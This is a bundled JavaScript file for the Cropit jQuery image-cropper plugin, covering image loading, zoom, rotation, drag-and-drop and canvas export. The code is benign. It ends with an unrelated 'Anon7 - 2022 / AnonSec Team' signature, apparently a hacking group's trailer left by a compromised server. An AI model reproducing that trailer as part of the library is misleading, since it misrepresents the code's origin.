
	var _jquery = __webpack_require__(1);

	var _jquery2 = _interopRequireDefault(_jquery);

	var _Zoomer = __webpack_require__(3);

	var _Zoomer2 = _interopRequireDefault(_Zoomer);

	var _constants = __webpack_require__(4);

	var _options = __webpack_require__(5);

	var _utils = __webpack_require__(6);

	var Cropit = (function () {
	  function Cropit(jQuery, element, options) {
	    _classCallCheck(this, Cropit);

	    this.$el = (0, _jquery2['default'])(element);

	    var defaults = (0, _options.loadDefaults)(this.$el);
	    this.options = _jquery2['default'].extend({}, defaults, options);

	    this.init();
	  }

	  _createClass(Cropit, [{
	    key: 'init',
	    value: function init() {
	      var _this = this;

	      this.image = new Image();
	      this.preImage = new Image();
	      this.image.onload = this.onImageLoaded.bind(this);
	      this.preImage.onload = this.onPreImageLoaded.bind(this);
	      this.image.onerror = this.preImage.onerror = function () {
	        _this.onImageError.call(_this, _constants.ERRORS.IMAGE_FAILED_TO_LOAD);
	      };

	      this.$preview = this.options.$preview.css('position', 'relative');
	      this.$fileInput = this.options.$fileInput.attr({ accept: 'image/*' });
	      this.$zoomSlider = this.options.$zoomSlider.attr({ min: 0, max: 1, step: 0.01 });

	      this.previewSize = {
	        width: this.options.width || this.$preview.innerWidth(),
	        height: this.options.height || this.$preview.innerHeight()
	      };

	      this.$image = (0, _jquery2['default'])('<img />').addClass(_constants.CLASS_NAMES.PREVIEW_IMAGE).attr('alt', '').css({
	        transformOrigin: 'top left',
	        webkitTransformOrigin: 'top left',
	        willChange: 'transform'
	      });
	      this.$imageContainer = (0, _jquery2['default'])('<div />').addClass(_constants.CLASS_NAMES.PREVIEW_IMAGE_CONTAINER).css({
	        position: 'absolute',
	        overflow: 'hidden',
	        left: 0,
	        top: 0,
	        width: '100%',
	        height: '100%'
	      }).append(this.$image);
	      this.$preview.append(this.$imageContainer);

	      if (this.options.imageBackground) {
	        if (_jquery2['default'].isArray(this.options.imageBackgroundBorderWidth)) {
	          this.bgBorderWidthArray = this.options.imageBackgroundBorderWidth;
	        } else {
	          this.bgBorderWidthArray = [0, 1, 2, 3].map(function () {
	            return _this.options.imageBackgroundBorderWidth;
	          });
	        }

	        this.$bg = (0, _jquery2['default'])('<img />').addClass(_constants.CLASS_NAMES.PREVIEW_BACKGROUND).attr('alt', '').css({
	          position: 'relative',
	          left: this.bgBorderWidthArray[3],
	          top: this.bgBorderWidthArray[0],
	          transformOrigin: 'top left',
	          webkitTransformOrigin: 'top left',
	          willChange: 'transform'
	        });
	        this.$bgContainer = (0, _jquery2['default'])('<div />').addClass(_constants.CLASS_NAMES.PREVIEW_BACKGROUND_CONTAINER).css({
	          position: 'absolute',
	          zIndex: 0,
	          top: -this.bgBorderWidthArray[0],
	          right: -this.bgBorderWidthArray[1],
	          bottom: -this.bgBorderWidthArray[2],
	          left: -this.bgBorderWidthArray[3]
	        }).append(this.$bg);
	        if (this.bgBorderWidthArray[0] > 0) {
	          this.$bgContainer.css('overflow', 'hidden');
	        }
	        this.$preview.prepend(this.$bgContainer);
	      }

	      this.initialZoom = this.options.initialZoom;

	      this.imageLoaded = false;

	      this.moveContinue = false;

	      this.zoomer = new _Zoomer2['default']();

	      if (this.options.allowDragNDrop) {
	        _jquery2['default'].event.props.push('dataTransfer');
	      }

	      this.bindListeners();

	      if (this.options.imageState && this.options.imageState.src) {
	        this.loadImage(this.options.imageState.src);
	      }
	    }
	  }, {
	    key: 'bindListeners',
	    value: function bindListeners() {
	      this.$fileInput.on('change.cropit', this.onFileChange.bind(this));
	      this.$imageContainer.on(_constants.EVENTS.PREVIEW, this.onPreviewEvent.bind(this));
	      this.$zoomSlider.on(_constants.EVENTS.ZOOM_INPUT, this.onZoomSliderChange.bind(this));

	      if (this.options.allowDragNDrop) {
	        this.$imageContainer.on('dragover.cropit dragleave.cropit', this.onDragOver.bind(this));
	        this.$imageContainer.on('drop.cropit', this.onDrop.bind(this));
	      }
	    }
	  }, {
	    key: 'unbindListeners',
	    value: function unbindListeners() {
	      this.$fileInput.off('change.cropit');
	      this.$imageContainer.off(_constants.EVENTS.PREVIEW);
	      this.$imageContainer.off('dragover.cropit dragleave.cropit drop.cropit');
	      this.$zoomSlider.off(_constants.EVENTS.ZOOM_INPUT);
	    }
	  }, {
	    key: 'onFileChange',
	    value: function onFileChange(e) {
	      this.options.onFileChange(e);

	      if (this.$fileInput.get(0).files) {
	        this.loadFile(this.$fileInput.get(0).files[0]);
	      }
	    }
	  }, {
	    key: 'loadFile',
	    value: function loadFile(file) {
	      var fileReader = new FileReader();
	      if (file && file.type.match('image')) {
	        fileReader.readAsDataURL(file);
	        fileReader.onload = this.onFileReaderLoaded.bind(this);
	        fileReader.onerror = this.onFileReaderError.bind(this);
	      } else if (file) {
	        this.onFileReaderError();
	      }
	    }
	  }, {
	    key: 'onFileReaderLoaded',
	    value: function onFileReaderLoaded(e) {
	      this.loadImage(e.target.result);
	    }
	  }, {
	    key: 'onFileReaderError',
	    value: function onFileReaderError() {
	      this.options.onFileReaderError();
	    }
	  }, {
	    key: 'onDragOver',
	    value: function onDragOver(e) {
	      e.preventDefault();
	      e.dataTransfer.dropEffect = 'copy';
	      this.$preview.toggleClass(_constants.CLASS_NAMES.DRAG_HOVERED, e.type === 'dragover');
	    }
	  }, {
	    key: 'onDrop',
	    value: function onDrop(e) {
	      var _this2 = this;

	      e.preventDefault();
	      e.stopPropagation();

	      var files = Array.prototype.slice.call(e.dataTransfer.files, 0);
	      files.some(function (file) {
	        if (!file.type.match('image')) {
	          return false;
	        }

	        _this2.loadFile(file);
	        return true;
	      });

	      this.$preview.removeClass(_constants.CLASS_NAMES.DRAG_HOVERED);
	    }
	  }, {
	    key: 'loadImage',
	    value: function loadImage(imageSrc) {
	      var _this3 = this;

	      if (!imageSrc) {
	        return;
	      }

	      this.options.onImageLoading();
	      this.setImageLoadingClass();

	      if (imageSrc.indexOf('data') === 0) {
	        this.preImage.src = imageSrc;
	      } else {
	        var xhr = new XMLHttpRequest();
	        xhr.onload = function (e) {
	          if (e.target.status >= 300) {
	            _this3.onImageError.call(_this3, _constants.ERRORS.IMAGE_FAILED_TO_LOAD);
	            return;
	          }

	          _this3.loadFile(e.target.response);
	        };
	        xhr.open('GET', imageSrc);
	        xhr.responseType = 'blob';
	        xhr.send();
	      }
	    }
	  }, {
	    key: 'onPreImageLoaded',
	    value: function onPreImageLoaded() {
	      if (this.shouldRejectImage({
	        imageWidth: this.preImage.width,
	        imageHeight: this.preImage.height,
	        previewSize: this.previewSize,
	        maxZoom: this.options.maxZoom,
	        exportZoom: this.options.exportZoom,
	        smallImage: this.options.smallImage
	      })) {
	        this.onImageError(_constants.ERRORS.SMALL_IMAGE);
	        if (this.image.src) {
	          this.setImageLoadedClass();
	        }
	        return;
	      }

	      this.image.src = this.preImage.src;
	    }
	  }, {
	    key: 'onImageLoaded',
	    value: function onImageLoaded() {
	      this.rotation = 0;
	      this.setupZoomer(this.options.imageState && this.options.imageState.zoom || this._initialZoom);
	      if (this.options.imageState && this.options.imageState.offset) {
	        this.offset = this.options.imageState.offset;
	      } else {
	        this.centerImage();
	      }

	      this.options.imageState = {};

	      this.$image.attr('src', this.image.src);
	      if (this.options.imageBackground) {
	        this.$bg.attr('src', this.image.src);
	      }

	      this.setImageLoadedClass();

	      this.imageLoaded = true;

	      this.options.onImageLoaded();
	    }
	  }, {
	    key: 'onImageError',
	    value: function onImageError() {
	      this.options.onImageError.apply(this, arguments);
	      this.removeImageLoadingClass();
	    }
	  }, {
	    key: 'setImageLoadingClass',
	    value: function setImageLoadingClass() {
	      this.$preview.removeClass(_constants.CLASS_NAMES.IMAGE_LOADED).addClass(_constants.CLASS_NAMES.IMAGE_LOADING);
	    }
	  }, {
	    key: 'setImageLoadedClass',
	    value: function setImageLoadedClass() {
	      this.$preview.removeClass(_constants.CLASS_NAMES.IMAGE_LOADING).addClass(_constants.CLASS_NAMES.IMAGE_LOADED);
	    }
	  }, {
	    key: 'removeImageLoadingClass',
	    value: function removeImageLoadingClass() {
	      this.$preview.removeClass(_constants.CLASS_NAMES.IMAGE_LOADING);
	    }
	  }, {
	    key: 'getEventPosition',
	    value: function getEventPosition(e) {
	      if (e.originalEvent && e.originalEvent.touches && e.originalEvent.touches[0]) {
	        e = e.originalEvent.touches[0];
	      }
	      if (e.clientX && e.clientY) {
	        return { x: e.clientX, y: e.clientY };
	      }
	    }
	  }, {
	    key: 'onPreviewEvent',
	    value: function onPreviewEvent(e) {
	      if (!this.imageLoaded) {
	        return;
	      }

	      this.moveContinue = false;
	      this.$imageContainer.off(_constants.EVENTS.PREVIEW_MOVE);

	      if (e.type === 'mousedown' || e.type === 'touchstart') {
	        this.origin = this.getEventPosition(e);
	        this.moveContinue = true;
	        this.$imageContainer.on(_constants.EVENTS.PREVIEW_MOVE, this.onMove.bind(this));
	      } else {
	        (0, _jquery2['default'])(document.body).focus();
	      }

	      e.stopPropagation();
	      return false;
	    }
	  }, {
	    key: 'onMove',
	    value: function onMove(e) {
	      var eventPosition = this.getEventPosition(e);

	      if (this.moveContinue && eventPosition) {
	        this.offset = {
	          x: this.offset.x + eventPosition.x - this.origin.x,
	          y: this.offset.y + eventPosition.y - this.origin.y
	        };
	      }

	      this.origin = eventPosition;

	      e.stopPropagation();
	      return false;
	    }
	  }, {
	    key: 'fixOffset',
	    value: function fixOffset(offset) {
	      if (!this.imageLoaded) {
	        return offset;
	      }

	      var ret = { x: offset.x, y: offset.y };

	      if (!this.options.freeMove) {
	        if (this.imageWidth * this.zoom >= this.previewSize.width) {
	          ret.x = Math.min(0, Math.max(ret.x, this.previewSize.width - this.imageWidth * this.zoom));
	        } else {
	          ret.x = Math.max(0, Math.min(ret.x, this.previewSize.width - this.imageWidth * this.zoom));
	        }

	        if (this.imageHeight * this.zoom >= this.previewSize.height) {
	          ret.y = Math.min(0, Math.max(ret.y, this.previewSize.height - this.imageHeight * this.zoom));
	        } else {
	          ret.y = Math.max(0, Math.min(ret.y, this.previewSize.height - this.imageHeight * this.zoom));
	        }
	      }

	      ret.x = (0, _utils.round)(ret.x);
	      ret.y = (0, _utils.round)(ret.y);

	      return ret;
	    }
	  }, {
	    key: 'centerImage',
	    value: function centerImage() {
	      if (!this.image.width || !this.image.height || !this.zoom) {
	        return;
	      }

	      this.offset = {
	        x: (this.previewSize.width - this.imageWidth * this.zoom) / 2,
	        y: (this.previewSize.height - this.imageHeight * this.zoom) / 2
	      };
	    }
	  }, {
	    key: 'onZoomSliderChange',
	    value: function onZoomSliderChange() {
	      if (!this.imageLoaded) {
	        return;
	      }

	      this.zoomSliderPos = Number(this.$zoomSlider.val());
	      var newZoom = this.zoomer.getZoom(this.zoomSliderPos);
	      if (newZoom === this.zoom) {
	        return;
	      }
	      this.zoom = newZoom;
	    }
	  }, {
	    key: 'enableZoomSlider',
	    value: function enableZoomSlider() {
	      this.$zoomSlider.removeAttr('disabled');
	      this.options.onZoomEnabled();
	    }
	  }, {
	    key: 'disableZoomSlider',
	    value: function disableZoomSlider() {
	      this.$zoomSlider.attr('disabled', true);
	      this.options.onZoomDisabled();
	    }
	  }, {
	    key: 'setupZoomer',
	    value: function setupZoomer(zoom) {
	      this.zoomer.setup({
	        imageSize: this.imageSize,
	        previewSize: this.previewSize,
	        exportZoom: this.options.exportZoom,
	        maxZoom: this.options.maxZoom,
	        minZoom: this.options.minZoom,
	        smallImage: this.options.smallImage
	      });
	      this.zoom = (0, _utils.exists)(zoom) ? zoom : this._zoom;

	      if (this.isZoomable()) {
	        this.enableZoomSlider();
	      } else {
	        this.disableZoomSlider();
	      }
	    }
	  }, {
	    key: 'fixZoom',
	    value: function fixZoom(zoom) {
	      return this.zoomer.fixZoom(zoom);
	    }
	  }, {
	    key: 'isZoomable',
	    value: function isZoomable() {
	      return this.zoomer.isZoomable();
	    }
	  }, {
	    key: 'renderImage',
	    value: function renderImage() {
	      var transformation = '\n      translate(' + this.rotatedOffset.x + 'px, ' + this.rotatedOffset.y + 'px)\n      scale(' + this.zoom + ')\n      rotate(' + this.rotation + 'deg)';

	      this.$image.css({
	        transform: transformation,
	        webkitTransform: transformation
	      });
	      if (this.options.imageBackground) {
	        this.$bg.css({
	          transform: transformation,
	          webkitTransform: transformation
	        });
	      }
	    }
	  }, {
	    key: 'rotateCW',
	    value: function rotateCW() {
	      if (this.shouldRejectImage({
	        imageWidth: this.image.height,
	        imageHeight: this.image.width,
	        previewSize: this.previewSize,
	        maxZoom: this.options.maxZoom,
	        exportZoom: this.options.exportZoom,
	        smallImage: this.options.smallImage
	      })) {
	        this.rotation = (this.rotation + 180) % 360;
	      } else {
	        this.rotation = (this.rotation + 90) % 360;
	      }
	    }
	  }, {
	    key: 'rotateCCW',
	    value: function rotateCCW() {
	      if (this.shouldRejectImage({
	        imageWidth: this.image.height,
	        imageHeight: this.image.width,
	        previewSize: this.previewSize,
	        maxZoom: this.options.maxZoom,
	        exportZoom: this.options.exportZoom,
	        smallImage: this.options.smallImage
	      })) {
	        this.rotation = (this.rotation + 180) % 360;
	      } else {
	        this.rotation = (this.rotation + 270) % 360;
	      }
	    }
	  }, {
	    key: 'shouldRejectImage',
	    value: function shouldRejectImage(_ref) {
	      var imageWidth = _ref.imageWidth;
	      var imageHeight = _ref.imageHeight;
	      var previewSize = _ref.previewSize;
	      var maxZoom = _ref.maxZoom;
	      var exportZoom = _ref.exportZoom;
	      var smallImage = _ref.smallImage;

	      if (smallImage !== 'reject') {
	        return false;
	      }

	      return imageWidth * maxZoom < previewSize.width * exportZoom || imageHeight * maxZoom < previewSize.height * exportZoom;
	    }
	  }, {
	    key: 'getCroppedImageData',
	    value: function getCroppedImageData(exportOptions) {
	      if (!this.image.src) {
	        return;
	      }

	      var exportDefaults = {
	        type: 'image/png',
	        quality: 0.75,
	        originalSize: false,
	        fillBg: '#fff'
	      };
	      exportOptions = _jquery2['default'].extend({}, exportDefaults, exportOptions);

	      var exportZoom = exportOptions.originalSize ? 1 / this.zoom : this.options.exportZoom;

	      var zoomedSize = {
	        width: this.zoom * exportZoom * this.image.width,
	        height: this.zoom * exportZoom * this.image.height
	      };

	      var canvas = (0, _jquery2['default'])('<canvas />').attr({
	        width: this.previewSize.width * exportZoom,
	        height: this.previewSize.height * exportZoom
	      }).get(0);
	      var canvasContext = canvas.getContext('2d');

	      if (exportOptions.type === 'image/jpeg') {
	        canvasContext.fillStyle = exportOptions.fillBg;
	        canvasContext.fillRect(0, 0, canvas.width, canvas.height);
	      }

	      canvasContext.translate(this.rotatedOffset.x * exportZoom, this.rotatedOffset.y * exportZoom);
	      canvasContext.rotate(this.rotation * Math.PI / 180);
	      canvasContext.drawImage(this.image, 0, 0, zoomedSize.width, zoomedSize.height);

	      return canvas.toDataURL(exportOptions.type, exportOptions.quality);
	    }
	  }, {
	    key: 'disable',
	    value: function disable() {
	      this.unbindListeners();
	      this.disableZoomSlider();
	      this.$el.addClass(_constants.CLASS_NAMES.DISABLED);
	    }
	  }, {
	    key: 'reenable',
	    value: function reenable() {
	      this.bindListeners();
	      this.enableZoomSlider();
	      this.$el.removeClass(_constants.CLASS_NAMES.DISABLED);
	    }
	  }, {
	    key: '$',
	    value: function $(selector) {
	      if (!this.$el) {
	        return null;
	      }
	      return this.$el.find(selector);
	    }
	  }, {
	    key: 'offset',
	    set: function (position) {
	      if (!position || !(0, _utils.exists)(position.x) || !(0, _utils.exists)(position.y)) {
	        return;
	      }

	      this._offset = this.fixOffset(position);
	      this.renderImage();

	      this.options.onOffsetChange(position);
	    },
	    get: function () {
	      return this._offset;
	    }
	  }, {
	    key: 'zoom',
	    set: function (newZoom) {
	      newZoom = this.fixZoom(newZoom);

	      if (this.imageLoaded) {
	        var oldZoom = this.zoom;

	        var newX = this.previewSize.width / 2 - (this.previewSize.width / 2 - this.offset.x) * newZoom / oldZoom;
	        var newY = this.previewSize.height / 2 - (this.previewSize.height / 2 - this.offset.y) * newZoom / oldZoom;

	        this._zoom = newZoom;
	        this.offset = { x: newX, y: newY }; // Triggers renderImage()
	      } else {
	        this._zoom = newZoom;
	      }

	      this.zoomSliderPos = this.zoomer.getSliderPos(this.zoom);
	      this.$zoomSlider.val(this.zoomSliderPos);

	      this.options.onZoomChange(newZoom);
	    },
	    get: function () {
	      return this._zoom;
	    }
	  }, {
	    key: 'rotatedOffset',
	    get: function () {
	      return {
	        x: this.offset.x + (this.rotation === 90 ? this.image.height * this.zoom : 0) + (this.rotation === 180 ? this.image.width * this.zoom : 0),
	        y: this.offset.y + (this.rotation === 180 ? this.image.height * this.zoom : 0) + (this.rotation === 270 ? this.image.width * this.zoom : 0)
	      };
	    }
	  }, {
	    key: 'rotation',
	    set: function (newRotation) {
	      this._rotation = newRotation;

	      if (this.imageLoaded) {
	        // Change in image size may lead to change in zoom range
	        this.setupZoomer();
	      }
	    },
	    get: function () {
	      return this._rotation;
	    }
	  }, {
	    key: 'imageState',
	    get: function () {
	      return {
	        src: this.image.src,
	        offset: this.offset,
	        zoom: this.zoom
	      };
	    }
	  }, {
	    key: 'imageSrc',
	    get: function () {
	      return this.image.src;
	    },
	    set: function (imageSrc) {
	      this.loadImage(imageSrc);
	    }
	  }, {
	    key: 'imageWidth',
	    get: function () {
	      return this.rotation % 180 === 0 ? this.image.width : this.image.height;
	    }
	  }, {
	    key: 'imageHeight',
	    get: function () {
	      return this.rotation % 180 === 0 ? this.image.height : this.image.width;
	    }
	  }, {
	    key: 'imageSize',
	    get: function () {
	      return {
	        width: this.imageWidth,
	        height: this.imageHeight
	      };
	    }
	  }, {
	    key: 'initialZoom',
	    get: function () {
	      return this.options.initialZoom;
	    },
	    set: function (initialZoomOption) {
	      this.options.initialZoom = initialZoomOption;
	      if (initialZoomOption === 'min') {
	        this._initialZoom = 0; // Will be fixed when image loads
	      } else if (initialZoomOption === 'image') {
	        this._initialZoom = 1;
	      } else {
	        this._initialZoom = 0;
	      }
	    }
	  }, {
	    key: 'exportZoom',
	    get: function () {
	      return this.options.exportZoom;
	    },
	    set: function (exportZoom) {
	      this.options.exportZoom = exportZoom;
	      this.setupZoomer();
	    }
	  }, {
	    key: 'minZoom',
	    get: function () {
	      return this.options.minZoom;
	    },
	    set: function (minZoom) {
	      this.options.minZoom = minZoom;
	      this.setupZoomer();
	    }
	  }, {
	    key: 'maxZoom',
	    get: function () {
	      return this.options.maxZoom;
	    },
	    set: function (maxZoom) {
	      this.options.maxZoom = maxZoom;
	      this.setupZoomer();
	    }
	  }, {
	    key: 'previewSize',
	    get: function () {
	      return this._previewSize;
	    },
	    set: function (size) {
	      if (!size || size.width <= 0 || size.height <= 0) {
	        return;
	      }

	      this._previewSize = {
	        width: size.width,
	        height: size.height
	      };
	      this.$preview.innerWidth(this.previewSize.width).innerHeight(this.previewSize.height);

	      if (this.imageLoaded) {
	        this.setupZoomer();
	      }
	    }
	  }]);

	  return Cropit;
	})();

	exports['default'] = Cropit;
	module.exports = exports['default'];

/***/ },
/* 3 */
/***/ function(module, exports) {

	Object.defineProperty(exports, '__esModule', {
	  value: true
	});

	var _createClass = (function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ('value' in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; })();

	function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }

	var Zoomer = (function () {
	  function Zoomer() {
	    _classCallCheck(this, Zoomer);

	    this.minZoom = this.maxZoom = 1;
	  }

	  _createClass(Zoomer, [{
	    key: 'setup',
	    value: function setup(_ref) {
	      var imageSize = _ref.imageSize;
	      var previewSize = _ref.previewSize;
	      var exportZoom = _ref.exportZoom;
	      var maxZoom = _ref.maxZoom;
	      var minZoom = _ref.minZoom;
	      var smallImage = _ref.smallImage;

	      var widthRatio = previewSize.width / imageSize.width;
	      var heightRatio = previewSize.height / imageSize.height;

	      if (minZoom === 'fit') {
	        this.minZoom = Math.min(widthRatio, heightRatio);
	      } else {
	        this.minZoom = Math.max(widthRatio, heightRatio);
	      }

	      if (smallImage === 'allow') {
	        this.minZoom = Math.min(this.minZoom, 1);
	      }

	      this.maxZoom = Math.max(this.minZoom, maxZoom / exportZoom);
	    }
	  }, {
	    key: 'getZoom',
	    value: function getZoom(sliderPos) {
	      if (!this.minZoom || !this.maxZoom) {
	        return null;
	      }

	      return sliderPos * (this.maxZoom - this.minZoom) + this.minZoom;
	    }
	  }, {
	    key: 'getSliderPos',
	    value: function getSliderPos(zoom) {
	      if (!this.minZoom || !this.maxZoom) {
	        return null;
	      }

	      if (this.minZoom === this.maxZoom) {
	        return 0;
	      } else {
	        return (zoom - this.minZoom) / (this.maxZoom - this.minZoom);
	      }
	    }
	  }, {
	    key: 'isZoomable',
	    value: function isZoomable() {
	      if (!this.minZoom || !this.maxZoom) {
	        return null;
	      }

	      return this.minZoom !== this.maxZoom;
	    }
	  }, {
	    key: 'fixZoom',
	    value: function fixZoom(zoom) {
	      return Math.max(this.minZoom, Math.min(this.maxZoom, zoom));
	    }
	  }]);

	  return Zoomer;
	})();

	exports['default'] = Zoomer;
	module.exports = exports['default'];

/***/ },
/* 4 */
/***/ function(module, exports) {

	Object.defineProperty(exports, '__esModule', {
	  value: true
	});
	var PLUGIN_KEY = 'cropit';

	exports.PLUGIN_KEY = PLUGIN_KEY;
	var CLASS_NAMES = {
	  PREVIEW: 'cropit-preview',
	  PREVIEW_IMAGE_CONTAINER: 'cropit-preview-image-container',
	  PREVIEW_IMAGE: 'cropit-preview-image',
	  PREVIEW_BACKGROUND_CONTAINER: 'cropit-preview-background-container',
	  PREVIEW_BACKGROUND: 'cropit-preview-background',
	  FILE_INPUT: 'cropit-image-input',
	  ZOOM_SLIDER: 'cropit-image-zoom-input',

	  DRAG_HOVERED: 'cropit-drag-hovered',
	  IMAGE_LOADING: 'cropit-image-loading',
	  IMAGE_LOADED: 'cropit-image-loaded',
	  DISABLED: 'cropit-disabled'
	};

	exports.CLASS_NAMES = CLASS_NAMES;
	var ERRORS = {
	  IMAGE_FAILED_TO_LOAD: { code: 0, message: 'Image failed to load.' },
	  SMALL_IMAGE: { code: 1, message: 'Image is too small.' }
	};

	exports.ERRORS = ERRORS;
	var eventName = function eventName(events) {
	  return events.map(function (e) {
	    return '' + e + '.cropit';
	  }).join(' ');
	};
	var EVENTS = {
	  PREVIEW: eventName(['mousedown', 'mouseup', 'mouseleave', 'touchstart', 'touchend', 'touchcancel', 'touchleave']),
	  PREVIEW_MOVE: eventName(['mousemove', 'touchmove']),
	  ZOOM_INPUT: eventName(['mousemove', 'touchmove', 'change'])
	};
	exports.EVENTS = EVENTS;

/***/ },
/* 5 */
/***/ function(module, exports, __webpack_require__) {

	Object.defineProperty(exports, '__esModule', {
	  value: true
	});

	var _constants = __webpack_require__(4);

	var options = {
	  elements: [{
	    name: '$preview',
	    description: 'The HTML element that displays image preview.',
	    defaultSelector: '.' + _constants.CLASS_NAMES.PREVIEW
	  }, {
	    name: '$fileInput',
	    description: 'File input element.',
	    defaultSelector: 'input.' + _constants.CLASS_NAMES.FILE_INPUT
	  }, {
	    name: '$zoomSlider',
	    description: 'Range input element that controls image zoom.',
	    defaultSelector: 'input.' + _constants.CLASS_NAMES.ZOOM_SLIDER
	  }].map(function (o) {
	    o.type = 'jQuery element';
	    o['default'] = '$imageCropper.find(\'' + o.defaultSelector + '\')';
	    return o;
	  }),

	  values: [{
	    name: 'width',
	    type: 'number',
	    description: 'Width of image preview in pixels. If set, it will override the CSS property.',
	    'default': null
	  }, {
	    name: 'height',
	    type: 'number',
	    description: 'Height of image preview in pixels. If set, it will override the CSS property.',
	    'default': null
	  }, {
	    name: 'imageBackground',
	    type: 'boolean',
	    description: 'Whether or not to display the background image beyond the preview area.',
	    'default': false
	  }, {
	    name: 'imageBackgroundBorderWidth',
	    type: 'array or number',
	    description: 'Width of background image border in pixels.\n        The four array elements specify the width of background image width on the top, right, bottom, left side respectively.\n        The background image beyond the width will be hidden.\n        If specified as a number, border with uniform width on all sides will be applied.',
	    'default': [0, 0, 0, 0]
	  }, {
	    name: 'exportZoom',
	    type: 'number',
	    description: 'The ratio between the desired image size to export and the preview size.\n        For example, if the preview size is `300px * 200px`, and `exportZoom = 2`, then\n        the exported image size will be `600px * 400px`.\n        This also affects the maximum zoom level, since the exported image cannot be zoomed to larger than its original size.',
	    'default': 1
	  }, {
	    name: 'allowDragNDrop',
	    type: 'boolean',
	    description: 'When set to true, you can load an image by dragging it from local file browser onto the preview area.',
	    'default': true
	  }, {
	    name: 'minZoom',
	    type: 'string',
	    description: 'This options decides the minimal zoom level of the image.\n        If set to `\'fill\'`, the image has to fill the preview area, i.e. both width and height must not go smaller than the preview area.\n        If set to `\'fit\'`, the image can shrink further to fit the preview area, i.e. at least one of its edges must not go smaller than the preview area.',
	    'default': 'fill'
	  }, {
	    name: 'maxZoom',
	    type: 'number',
	    description: 'Determines how big the image can be zoomed. E.g. if set to 1.5, the image can be zoomed to 150% of its original size.',
	    'default': 1
	  }, {
	    name: 'initialZoom',
	    type: 'string',
	    description: 'Determines the zoom when an image is loaded.\n        When set to `\'min\'`, image is zoomed to the smallest when loaded.\n        When set to `\'image\'`, image is zoomed to 100% when loaded.',
	    'default': 'min'
	  }, {
	    name: 'freeMove',
	    type: 'boolean',
	    description: 'When set to true, you can freely move the image instead of being bound to the container borders',
	    'default': false
	  }, {
	    name: 'smallImage',
	    type: 'string',
	    description: 'When set to `\'reject\'`, `onImageError` would be called when cropit loads an image that is smaller than the container.\n        When set to `\'allow\'`, images smaller than the container can be zoomed down to its original size, overiding `minZoom` option.\n        When set to `\'stretch\'`, the minimum zoom of small images would follow `minZoom` option.',
	    'default': 'reject'
	  }],

	  callbacks: [{
	    name: 'onFileChange',
	    description: 'Called when user selects a file in the select file input.',
	    params: [{
	      name: 'event',
	      type: 'object',
	      description: 'File change event object'
	    }]
	  }, {
	    name: 'onFileReaderError',
	    description: 'Called when `FileReader` encounters an error while loading the image file.'
	  }, {
	    name: 'onImageLoading',
	    description: 'Called when image starts to be loaded.'
	  }, {
	    name: 'onImageLoaded',
	    description: 'Called when image is loaded.'
	  }, {
	    name: 'onImageError',
	    description: 'Called when image cannot be loaded.',
	    params: [{
	      name: 'error',
	      type: 'object',
	      description: 'Error object.'
	    }, {
	      name: 'error.code',
	      type: 'number',
	      description: 'Error code. `0` means generic image loading failure. `1` means image is too small.'
	    }, {
	      name: 'error.message',
	      type: 'string',
	      description: 'A message explaining the error.'
	    }]
	  }, {
	    name: 'onZoomEnabled',
	    description: 'Called when image the zoom slider is enabled.'
	  }, {
	    name: 'onZoomDisabled',
	    description: 'Called when image the zoom slider is disabled.'
	  }, {
	    name: 'onZoomChange',
	    description: 'Called when zoom changes.',
	    params: [{
	      name: 'zoom',
	      type: 'number',
	      description: 'New zoom.'
	    }]
	  }, {
	    name: 'onOffsetChange',
	    description: 'Called when image offset changes.',
	    params: [{
	      name: 'offset',
	      type: 'object',
	      description: 'New offset, with `x` and `y` values.'
	    }]
	  }].map(function (o) {
	    o.type = 'function';return o;
	  })
	};

	var loadDefaults = function loadDefaults($el) {
	  var defaults = {};
	  if ($el) {
	    options.elements.forEach(function (o) {
	      defaults[o.name] = $el.find(o.defaultSelector);
	    });
	  }
	  options.values.forEach(function (o) {
	    defaults[o.name] = o['default'];
	  });
	  options.callbacks.forEach(function (o) {
	    defaults[o.name] = function () {};
	  });

	  return defaults;
	};

	exports.loadDefaults = loadDefaults;
	exports['default'] = options;

/***/ },
/* 6 */
/***/ function(module, exports) {

	Object.defineProperty(exports, '__esModule', {
	  value: true
	});
	var exists = function exists(v) {
	  return typeof v !== 'undefined';
	};

	exports.exists = exists;
	var round = function round(x) {
	  return +(Math.round(x * 100) + 'e-2');
	};
	exports.round = round;

/***/ }
/******/ ])
});
;

Anon7 - 2022
AnonSec Team